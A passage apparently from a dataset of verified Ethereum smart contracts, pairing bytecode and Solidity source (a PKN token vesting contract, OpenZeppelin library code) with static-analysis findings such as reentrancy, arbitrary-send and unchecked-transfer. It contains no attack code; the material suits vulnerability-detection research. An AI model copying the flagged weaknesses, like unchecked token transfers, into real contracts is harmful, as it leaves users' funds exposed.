01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220947512cefe6e344619d35684b51c749b103c72d645491c4e36a9430f7f7d2e9464736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,129 |
0x62b87D4fC359c1C1f81567428b77b00294715E0b | /**
*Submitted for verification at Etherscan.io on 2022-02-22
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract PKNVesting is Ownable {
uint256 private constant ONE_MONTH = 30 days;
uint256 public immutable START_TIME;
uint256 public immutable DURATION_MONTHS;
uint256 public totalAllocations;
IERC20 public PKN;
struct Allocation {
uint256 amount;
uint256 amountClaimed;
uint256 monthsClaimed;
}
mapping (address => Allocation) public PKNAllocations;
constructor(address _PKN, uint256 _startTime, uint256 _numOfMonths) {
PKN = IERC20(_PKN);
START_TIME = _startTime;
DURATION_MONTHS = _numOfMonths;
}
function getVestedAmount(address _recipient) public view returns(uint256 monthsVested, uint256 amountVested) {
Allocation storage PKNAllocation = PKNAllocations[_recipient];
require(PKNAllocation.amountClaimed < PKNAllocation.amount, "Allocation fully claimed");
if (_currentTime() < START_TIME) {
return (0, 0);
}
uint256 elapsedMonths = 1 + (_currentTime() - START_TIME) / ONE_MONTH;
if(elapsedMonths >= DURATION_MONTHS) {
uint256 remainingAllocation = PKNAllocation.amount - PKNAllocation.amountClaimed;
return (DURATION_MONTHS, remainingAllocation);
}
monthsVested = elapsedMonths - PKNAllocation.monthsClaimed;
amountVested = monthsVested * (PKNAllocation.amount / DURATION_MONTHS);
}
function getAllocationDetails(address _recipient) external view returns(Allocation memory) {
return PKNAllocations[_recipient];
}
function addAllocation(address[] calldata _recipients, uint256[] calldata _amounts) external onlyOwner {
require(_recipients.length == _amounts.length, "Invalid input lengths");
uint256 totalAmount = 0;
for (uint256 i = 0; i < _recipients.length; i++) {
totalAmount += _amounts[i];
_addAllocation(_recipients[i], _amounts[i]);
}
totalAllocations += _recipients.length;
require(_receivePKN(msg.sender, totalAmount) == totalAmount, "Recieved less PKN than transferred");
}
function resetAllocation(address _recipient) external onlyOwner {
Allocation storage PKNAllocation = PKNAllocations[_recipient];
uint256 amount = PKNAllocation.amount;
require(amount > 0, "No allocation available");
delete PKNAllocations[_recipient];
PKN.transfer(owner(), amount);
}
function releaseVestedTokens() external {
_releaseVestedTokens(msg.sender);
}
function batchReleaseVestedTokens(address[] calldata _recipients) external {
for (uint256 i = 0; i < _recipients.length; i++) {
_releaseVestedTokens(_recipients[i]);
}
}
// DOES NOT transfer PKN to the contract. Needs to be handled by the caller.
function _addAllocation(address _recipient, uint256 _amount) internal {
require(PKNAllocations[_recipient].amount == 0, "Allocation already exists");
require(_amount >= DURATION_MONTHS, "Amount too low");
Allocation memory allocation = Allocation({
amount: _amount,
amountClaimed: 0,
monthsClaimed: 0
});
PKNAllocations[_recipient] = allocation;
}
function _releaseVestedTokens(address _recipient) internal {
(uint256 monthsVested, uint256 amountVested) = getVestedAmount(_recipient);
require(amountVested > 0, "Vested amount is 0");
Allocation storage PKNAllocation = PKNAllocations[_recipient];
PKNAllocation.monthsClaimed = PKNAllocation.monthsClaimed + monthsVested;
PKNAllocation.amountClaimed = PKNAllocation.amountClaimed + amountVested;
PKN.transfer(_recipient, amountVested);
}
function _receivePKN(address from, uint256 amount) internal returns(uint256) {
uint256 balanceBefore = PKN.balanceOf(address(this));
PKN.transferFrom(from, address(this), amount);
uint256 balanceAfter = PKN.balanceOf(address(this));
return balanceAfter - balanceBefore;
}
function _currentTime() internal view returns(uint256) {
return block.timestamp;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063b46a389b1161008c578063ddaa26ad11610066578063ddaa26ad14610218578063df4e325a1461023f578063e0cdde3a14610252578063f2fde38b1461028757600080fd5b8063b46a389b146101b6578063c63fe2f6146101dd578063d5a73fdd146101f057600080fd5b8063688c3e40116100c8578063688c3e4014610128578063715018a6146101535780638da5cb5b1461015b57806391c10a3e1461016c57600080fd5b806308dc2473146100ef57806354dd1da41461010457806363b51ac01461010c575b600080fd5b6101026100fd366004610d1c565b61029a565b005b6101026103ff565b61011560015481565b6040519081526020015b60405180910390f35b60025461013b906001600160a01b031681565b6040516001600160a01b03909116815260200161011f565b61010261040a565b6000546001600160a01b031661013b565b61019b61017a366004610d1c565b60036020526000908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161011f565b6101157f000000000000000000000000000000000000000000000000000000000000006481565b6101026101eb366004610d8e565b61043e565b6102036101fe366004610d1c565b6105c1565b6040805192835260208301919091520161011f565b6101157f0000000000000000000000000000000000000000000000000000000062385ab081565b61010261024d366004610d4c565b610764565b610265610260366004610d1c565b6107b5565b604080518251815260208084015190820152918101519082015260600161011f565b610102610295366004610d1c565b61081b565b6000546001600160a01b031633146102cd5760405162461bcd60e51b81526004016102c490610e35565b60405180910390fd5b6001600160a01b03811660009081526003602052604090208054806103345760405162461bcd60e51b815260206004820152601760248201527f4e6f20616c6c6f636174696f6e20617661696c61626c6500000000000000000060448201526064016102c4565b6001600160a01b03808416600090815260036020526040812081815560018101829055600290810191909155541663a9059cbb6103796000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156103c157600080fd5b505af11580156103d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103f99190610dfa565b50505050565b610408336108b6565b565b6000546001600160a01b031633146104345760405162461bcd60e51b81526004016102c490610e35565b61040860006109d3565b6000546001600160a01b031633146104685760405162461bcd60e51b81526004016102c490610e35565b8281146104af5760405162461bcd60e51b8152602060048201526015602482015274496e76616c696420696e707574206c656e6774687360581b60448201526064016102c4565b6000805b8481101561053b578383828181106104cd576104cd610f0b565b90506020020135826104df9190610e6a565b91506105298686838181106104f6576104f6610f0b565b905060200201602081019061050b9190610d1c565b85858481811061051d5761051d610f0b565b90506020020135610a23565b8061053381610eda565b9150506104b3565b5084849050600160008282546105519190610e6a565b909155508190506105623382610b30565b146105ba5760405162461bcd60e51b815260206004820152602260248201527f5265636965766564206c65737320504b4e207468616e207472616e7366657272604482015261195960f21b60648201526084016102c4565b5050505050565b6001600160a01b038116600090815260036020526040812080546001820154839291116106305760405162461bcd60e51b815260206004820152601860248201527f416c6c6f636174696f6e2066756c6c7920636c61696d6564000000000000000060448201526064016102c4565b7f0000000000000000000000000000000000000000000000000000000062385ab04210156106645750600093849350915050565b600062278d006106947f0000000000000000000000000000000000000000000000000000000062385ab042610ec3565b61069e9190610e82565b6106a9906001610e6a565b90507f0000000000000000000000000000000000000000000000000000000000000064811061071257600182015482546000916106e591610ec3565b7f000000000000000000000000000000000000000000000000000000000000006497909650945050505050565b60028201546107219082610ec3565b8254909450610751907f000000000000000000000000000000000000000000000000000000000000006490610e82565b61075b9085610ea4565b92505050915091565b60005b818110156107b05761079e83838381811061078457610784610f0b565b90506020020160208101906107999190610d1c565b6108b6565b806107a881610eda565b915050610767565b505050565b6107d960405180606001604052806000815260200160008152602001600081525090565b506001600160a01b0316600090815260036020908152604091829020825160608101845281548152600182015492810192909252600201549181019190915290565b6000546001600160a01b031633146108455760405162461bcd60e51b81526004016102c490610e35565b6001600160a01b0381166108aa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102c4565b6108b3816109d3565b50565b6000806108c2836105c1565b915091506000811161090b5760405162461bcd60e51b8152602060048201526012602482015271056657374656420616d6f756e7420697320360741b60448201526064016102c4565b6001600160a01b03831660009081526003602052604090206002810154610933908490610e6a565b60028201556001810154610948908390610e6a565b600182015560025460405163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529091169063a9059cbb90604401602060405180830381600087803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ba9190610dfa565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821660009081526003602052604090205415610a895760405162461bcd60e51b815260206004820152601960248201527f416c6c6f636174696f6e20616c7265616479206578697374730000000000000060448201526064016102c4565b7f0000000000000000000000000000000000000000000000000000000000000064811015610aea5760405162461bcd60e51b815260206004820152600e60248201526d416d6f756e7420746f6f206c6f7760901b60448201526064016102c4565b60408051606081018252918252600060208084018281528484018381526001600160a01b0390961683526003909152919020915182555160018201559051600290910155565b6002546040516370a0823160e01b815230600482015260009182916001600160a01b03909116906370a082319060240160206040518083038186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb09190610e1c565b6002546040516323b872dd60e01b81526001600160a01b038781166004830152306024830152604482018790529293509116906323b872dd90606401602060405180830381600087803b158015610c0657600080fd5b505af1158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190610dfa565b506002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a082319060240160206040518083038186803b158015610c8357600080fd5b505afa158015610c97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbb9190610e1c565b9050610cc78282610ec3565b95945050505050565b60008083601f840112610ce257600080fd5b50813567ffffffffffffffff811115610cfa57600080fd5b6020830191508360208260051b8501011115610d1557600080fd5b9250929050565b600060208284031215610d2e57600080fd5b81356001600160a01b0381168114610d4557600080fd5b9392505050565b60008060208385031215610d5f57600080fd5b823567ffffffffffffffff811115610d7657600080fd5b610d8285828601610cd0565b90969095509350505050565b60008060008060408587031215610da457600080fd5b843567ffffffffffffffff80821115610dbc57600080fd5b610dc888838901610cd0565b90965094506020870135915080821115610de157600080fd5b50610dee87828801610cd0565b95989497509550505050565b600060208284031215610e0c57600080fd5b81518015158114610d4557600080fd5b600060208284031215610e2e57600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610e7d57610e7d610ef5565b500190565b600082610e9f57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610ebe57610ebe610ef5565b500290565b600082821015610ed557610ed5610ef5565b500390565b6000600019821415610eee57610eee610ef5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea264697066735822122017312f47d759454ec598aa6304c744c3e379a7ea33a376b31c6bbc46b639c97a64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 10,130 |
0xb23bc06a51a8c8f57cbb5ef9b1b9f3b5a3ff7117 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
